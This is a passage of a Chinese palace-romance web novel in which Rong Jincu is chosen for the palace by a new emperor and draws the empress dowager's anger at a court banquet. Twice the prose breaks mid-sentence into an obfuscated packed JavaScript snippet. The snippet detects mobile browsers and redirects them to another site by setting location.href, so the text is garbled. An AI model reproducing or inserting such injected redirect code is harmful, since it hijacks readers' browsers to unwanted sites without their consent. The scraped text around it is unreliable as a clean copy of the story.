比起之前苍白消瘦的病容,此刻帝王的容貌更符合她记忆里的萧逐夜,一模一样。 见容锦簇失神,萧逐夜那双凤目里笑意更甚:“不愿意?” 容锦簇慌忙摇头,抬起右手放进他掌心。他握着她指尖的力度紧了紧,简单道:“走。” 众目睽睽之下,这人、这人居然带着她离开了御花园! 太液池水波粼粼,清风舒缓,烟波浩渺,水气扑面。 醉柳亭上,萧逐夜长身玉立,背对着她不出一言。 容锦簇心尖如鼓点一声一声捶着,蓦然回忆起当年的场面。 那人从玉辇上拨开珠帘,垂眸问:“叫什么名字?” 她惶惶将头埋得更低,小声应答:“臣女容锦虞。” 那人指尖微滞,放下珠帘,凉声道:“我记得容锦虞不长这样。” 跟在辇后的蓝衣少年:“陛下,您应该自称……” “滚。” 蓝衣少年吃瘪,讪讪退下,转眼瞧见容锦簇,为讨好新帝,赶忙呵斥:“大胆!你可知这是欺君之罪!” 琅琅珠帘后,那人声音更寒,如三尺之冰:“长山,朕准你训她了么?” 又转过脸,目光缓缓落下来:“放心,没人治你罪。” 她顿了顿,攥着掌心,决定相信帝王一言九鼎,赌了一次:“臣女容锦簇。” 半晌,那人不出一声,她心也跟着沉了下去。 忽然听见他笑了。 那一刻,容锦簇莫名知道,她赌赢了。 “容锦簇啊,好名字。”他慢慢念她名字,声音含在唇齿之间,“花团锦簇,百花之间,一朵压万朵。封你做皇后如何?” 长山大惊失色:“陛下!这这这与礼不合!” 容锦簇愕然仰起脸,他这才放声大笑,嗓子嘶哑,笑了几声就撑不住,一把攥住颈项剧烈咳嗽起来。 半晌,他掀开半边珠帘,脸色酡红,眉眼艳艳,拍了拍身侧,很随意地道:“上来。” “留在宫里如何?我瞧着你挺好的。长山,回头告知太后一声,就住永昭宫含光殿吧。” 后来她才知道,那是离他住的重华宫最近的地方。 “叫什么名字?”一模一样的声音传至耳边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484511|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将容锦簇生生拉回现实。 这回,她也终于有勇气堂堂正正说一声:“臣女名唤容锦簇。” “容锦簇啊,好名字。”新帝还是那样慢条斯理念她的名字,只在梦中反复重现的情景,熟悉得容锦簇几乎想要落泪。 那人却笑了笑,慢吞吞问:“容得下花团锦簇,就要居于百花之上,封你做皇后如何?” “……陛下,这逾矩了。” 仍然是熟悉的玩世不恭,那人慢慢转过身,一双漂亮的丹凤眼,却让容锦簇晃了一下神。 “逗你的。”他眉眼落拓,却夹杂一抹沉重的郁色,“但是你要想好了。入宫后,除非身死,一辈子都要锁在寂寂深宫里,你也愿意?” “愿意。” 新帝微怔:“为了我?” 容锦簇点点头,期待他那双幽深的黑眸慢慢亮起来,等了半晌,他目光却依旧古井无波。 “行。”轻轻嗤了一声,他也说不清自己是生气还是无奈,“深宫之中,我也做不到时时护着你。” “无妨,臣女不怕。” “好一个不怕。”他目光凉得森然,心脏紧得有些发疼。 为了萧逐夜,她甚至愿意困在这方狭窄宫廷里过一辈子。 不过,那又怎样呢,萧逐夜还在鬼王谷里养伤,一时半会儿还回不来。 想到这里,他又微微含笑了:“好。只是你刚入宫,得委屈你暂时住在永昭宫含光殿。” 一条腿刚迈进醉柳亭的长山听见这话,又默默将腿收了回去。 他拍了两下自己的耳朵,怀疑自己听错了。 住在含光殿叫委屈? 按照距离算,那可是宠妃才能住的位置! 必须让容二姑娘明白这份心意,他忍不住出声补充:“姑娘,这可是离陛下寝宫最近的地儿了。” 他原以为容锦簇要跪下诚惶诚恐谢恩,谁料女子眼前亮了亮,笑得很矜持:“委屈这一阵也无妨,总有一日陛下会准我迁出去的。” 长山眼前又是一晕。 都住在这儿了,迁哪去?陛下的重华宫还是皇后的洗梧宫?怎么不说干脆搬去太后娘娘的慈宁宫住得了! 这般口出狂言……要不怎么说容姑娘跟二殿下是一对呢! 长山说服自己接受了,这才恭恭敬敬抬起手请这位新晋宠妃下来:“容姑娘,可喜可贺啊,待诏书下来,再迎您入含光殿。” 待容锦簇走了,他才重新绕回萧琢时身边,压低了声音:“陛下,都按您吩咐的,将谣言散布出去了。” “别乱说。”萧琢时抬了抬眼睫,唇边慢悠悠扯开一抹笑,“那是谣言么?我只是喜欢帮兄长说实话而已。” “二殿下,我们殿下可要恨死您了。”长山压着嘴角,一边觉得好笑,一边忍不住对萧琢时抱以同情。 另一边,这个谣言还没来得及散布到入宫的官家千金当中,已经被洗梧宫中的皇后娘娘先一步得知。 “哐当”一声,茶盏掉到地上,摔得粉碎。 白凝初不可置信地站起身,脸色发白,嘴唇颤抖:“陛下真是这么说的?” “他、他怎么能行事如此荒唐!” 27. 第 27 章 掌事宫女含夏跟在她身后,婉言相劝:“娘娘莫要心急,这恐怕是有心人的传言,为了观察娘娘的反应……” 没等白凝初有所反应,另一个小宫女战战兢兢捧了一份名单上来:“皇后娘娘,这是内务府拟定的入宫名单。” 白凝初闭了闭眼,接过那份名单。 “徐长忆,万嫣然,赵宜……容锦簇?” 白凝初眼神怔忪,仔细垂首确认一遍:“容锦簇不是跟二弟有过一段感情么,太后娘娘怎么会突然选她入宫?” 小宫女闻言更害怕,扑通一声伏跪在地,蜷了蜷身子:“禀皇后娘娘,容、容姑娘是陛下钦定的。” “陛下钦定?” “是、是。” 白凝初沉默良久,忽然牵了牵唇角,笑出声来。 笑着笑着,眼角笑出了晶莹的泪花,她语调凄婉,垂下纤长的眼睫:“好,好啊。本宫竟不知,原来陛下还有夺臣弟妻的爱好。” 含夏大惊失色:“娘娘慎言!” “何必一慎再慎。”白凝初静静坐在凤座上,容色平静地摆摆手,哀莫大于心死,“罢了,罢了,随陛下如何处置吧,本宫倦了。” 洗梧宫中冷寂如死灰,仙瑶宫内却热闹极了。 万嫣然正指挥拨给自己的十几名小宫女帮忙搬东西:“红珊瑚当然要放在屏风旁边啊。” “我那软榻就放后殿,等明年拿出来用。” “哎呀,你小心些,别把我的步摇颠坏了!” 一折身,容锦簇正站在门口,笑吟吟弯起好看的眉眼:“你这儿还真是忙。” “恩人,跟我客气什么。” 万嫣然忙随手扯了一个宫女:“方才搬进来的软凳呢?快搬给容美人坐。” 两人一前一后落座,万嫣然才兴奋道:“宫里上上下下都传遍了,陛下没瞧上旁人,唯独留了恩人你一个。” 容锦簇笑容渐淡,摇摇头:“他不是真的喜欢我。” 只是需要一个盟友而已。 “怎么会呢?”万嫣然忙说,“陛下很好,必然不会辜负恩人。” “那你我日后又会如何?皇后娘娘又会怎样?”容锦簇深深叹了口气,“其实我从未想过皇后娘娘的处境。” “白姐姐也很好啊。”万嫣然兴高采烈道,“恩人,你不用担心,咱们跟皇后娘娘还一起喝过茶听过戏呢,娘娘人美心善,不会对咱们怎样的。” 容锦簇这才感到紧绷的脊背缓缓放松下来。她提了提唇角,勉强笑了一下:“罢了。” 她入宫自然还有正事,要保护萧慎,还要找朔王报仇。 至于情爱……萧逐夜不曾爱过她。 她也不曾爱过那个高高在上的君王。 当晚。 水云榭上,轻歌曼舞。 作为宫宴,太后皇后各占一方,年轻的帝王单手支颌,饶有兴趣地观赏太常寺安排的宫女舞剑。 宫女挽出一个漂亮的剑花,直冲帝王御座而来。 萧琢时眉梢一挑,八风不动,稳若泰山。 剑风劈到长桌前的一霎,宫女收剑于背后,退到阶下,单膝跪地行礼:“奴婢听烟参见陛下。” 徐太后偏过脸,含着笑款款发问:“阿夜觉得如何?” 心下得意。 萧逐夜因蛊毒常年病弱,如今好不容易彻底恢复,怎还会耐得住欣赏那些柔弱温吞的歌舞。 阶下所谓的舞女,其实是她宫中的心腹,当作义女精心培养了许久。这英姿飒爽的姑娘,相较在座的一众莺莺燕燕,自然是一道独特风景。若是萧逐夜收了这个女子……从此关于萧逐夜身边的情报,就唾手可得了。 许久,新帝都没有说话。 徐太后急得抓心挠肝之际,萧琢时顿了顿,这才疏懒地拍了两下手,轻飘飘道:“舞得不怎么样。” “什么?”徐太后不敢相信自己的耳朵,声音微微发抖,“这叫、这叫不怎么样?” “是啊,观赏性太强,实践性太差。”萧琢时毫不留情道,“她剑尖指向儿臣时,甚至还在发抖,这是一个刺客应有的反应吗?但凡她出剑再利落一点,儿臣今日也不是不能留下她,可惜身手毫无天赋,儿臣看见她就心烦。” 阶下,听烟瞪圆了眼睛,心口一起一伏,从震惊到不可置信到惊诧甚至到愤怒,最后怒不可遏地盯着萧琢时。 见萧琢时挥手要她走,听烟咬牙切齿,将剑往地上一丢,一字一句道:“奴婢、告退!” 萧琢时毫不知悔改,在她身后闲闲笑道:“回去也要继续练习。虽然你毫无天赋,但努力练个十年,朕也不是不能收你当徒弟。” 一转头,徐太后那张美丽的脸上阴云密布,冷得快要滴水成冰。 倒是白凝初拿帕子掩唇佯装咳嗽,遮住了嘴角一抹笑意。 眼见听烟愤愤离场,徐太后寒了神情,也不再装模作样,冷冷问:“阿夜这是何意?” “什么?”萧琢时作无辜状,“儿臣非但没有追究她行刺皇帝的谋逆之罪,还好心指点她武功,母后问儿臣何意,儿臣只是乐于助人而已。” “是吗。”徐太后冷冷一笑,“哀家看你是被那狐狸精妖妃迷昏了头了!” 狐狸精妖妃? 听到这,原本坐在席间埋头苦吃的万嫣然唰的抬头支起耳朵,两眼发亮,炯炯有神。 瞧见一旁还在慢吞吞夹菜的容锦簇,她扯了扯容锦簇衣袖,小声问:“恩人,狐狸精妖妃是谁啊?” “可能是你吧。”容锦簇敷衍道。 “怎么会是我?”万嫣然不可置信地指了指自己,两秒钟后,她笑逐颜开,“我就说呢,我也觉得我很有这种资质。” 容锦簇放下筷子,当真想了想:“如今这宫里,只有你是贵妃。徐姑娘封了宝嫔,赵姑娘封了昭仪,我才是美人呢,若说妖妃……” 不远处,徐太后冷冷的怒喝打断了两人的小声耳语:“阿夜,你瞧你的狐狸精妖妃,还在席间跟万贵妃窃窃私语,像什么样子!” “叫什么,容锦簇!” 轰隆一声,仿佛一道惊雷劈下来,劈得容锦簇目瞪口呆。 自言自语:“我是狐狸精妖妃?” “你说什么?”上方,徐太后面无表情地盯着她,“对哀家的话不满意么,站起来回话!” “回太后娘娘。”容锦簇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484512|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听话地站起身,张口却道,“臣妾还没封妃,配不上这样的词,不然太后唤臣妾狐狸精美人吧。” “扑哧”一声,万嫣然很配合地笑了。 最上方,新帝朝她弯了弯眼睛。 “坐吧,既然是妖妃,就大胆点儿。”他语调随意,端起酒盏,遥遥朝她举杯。 容锦簇坐下,将酒盏里的甜酒一饮而尽。 心中多少有点郁结,才刚入宫,就跟太后娘娘结下了梁子。 前世徐太后这会儿抱病,没出席宫宴,之后没多久就突然暴毙,死因不明,容锦簇甚至没跟徐太后见过面。 这一世,也许一切都不一样了。 载歌载舞整整两个时辰后,宫宴终于结束,众人起身散去。万嫣然跟着站起身,搀了一把容锦簇:“恩人,咱们一起回去吧?” “不行。”容锦簇身子轻飘飘的,仅剩的一丝理智支撑着她摇了摇头,“我去太液池旁边吹吹风,清醒一下再回去。” “这都多晚了。”万嫣然急切地摇晃她肩膀,“恩人你清醒一点啊,宫里入夜以后最不安全,万一你掉进太液池里了,谁能来救你?” “我会游泳。”容锦簇小声说。 万嫣然还要再劝,宝嫔路过,亲密地挽住她的手:“万姐姐,咱们一起回吧,有些人想去吹风,就让她去好了,管她做什么。” 容锦簇默然望向她。 作为徐太后的侄女,徐太后在容锦簇这里吃瘪,徐长忆自然也不可能给容锦簇好脸色。 容锦簇印象里,前世的宝嫔一直低调,因为唯一的靠山太后姑母不久病逝,她只能隐忍不发,暂避锋芒,直到成为太妃,也是太妃中最没存在感的一个。 原来也会有这样眉眼鲜活生气的时候。 她笑了笑,轻推万嫣然一下:“快去吧,我不要紧。” “那我走了啊。”万嫣然本也不是纠结的性子,见容锦簇意已决,劝不动她,就不再劝了,笑嘻嘻道,“明早我去含光殿找你,你若不在,我可要到太液池打捞了啊。” 目送万嫣然的背影远去,容锦簇站起身,忍不住歪了一下,好在她眼疾手快扶住了桌角,没有摔着。 她放慢了步子,沿着宫道缓缓朝醉柳亭走去。 她需要一个安静的地方,一个能让她想明白前世今生的地方,那就是前世她经常独处的醉柳亭。 她几乎是轻车熟路地摸到了亭中围栏。想想也不过三个月未见,这亭子却又变得雕栏玉砌、崭新如初,而不是十几年后掉尽了朱漆的斑驳模样。 岁月如此漫长,银面桃花不过惊鸿一霎,跟她相伴五载的帝王萧逐夜也许才是她温柔的归处。 容锦簇坐下来,晚风将她的碎发吹得纷乱。她回过头,眼中撞入一道立在寒月下的修长身影。 那人提着的萤萤宫灯将他的脸映得温暖又明亮,凤目朝她微微弯了一弯,有那么一瞬间,容锦簇恍惚了。 借着酒后说不清道不明的胆量,她轻轻地说:“你有一双跟他一模一样的眼睛。” 皎洁月色下,年轻的帝王愣住了。 良久,他启唇,哑声问:“你可知道,自己在说什么?”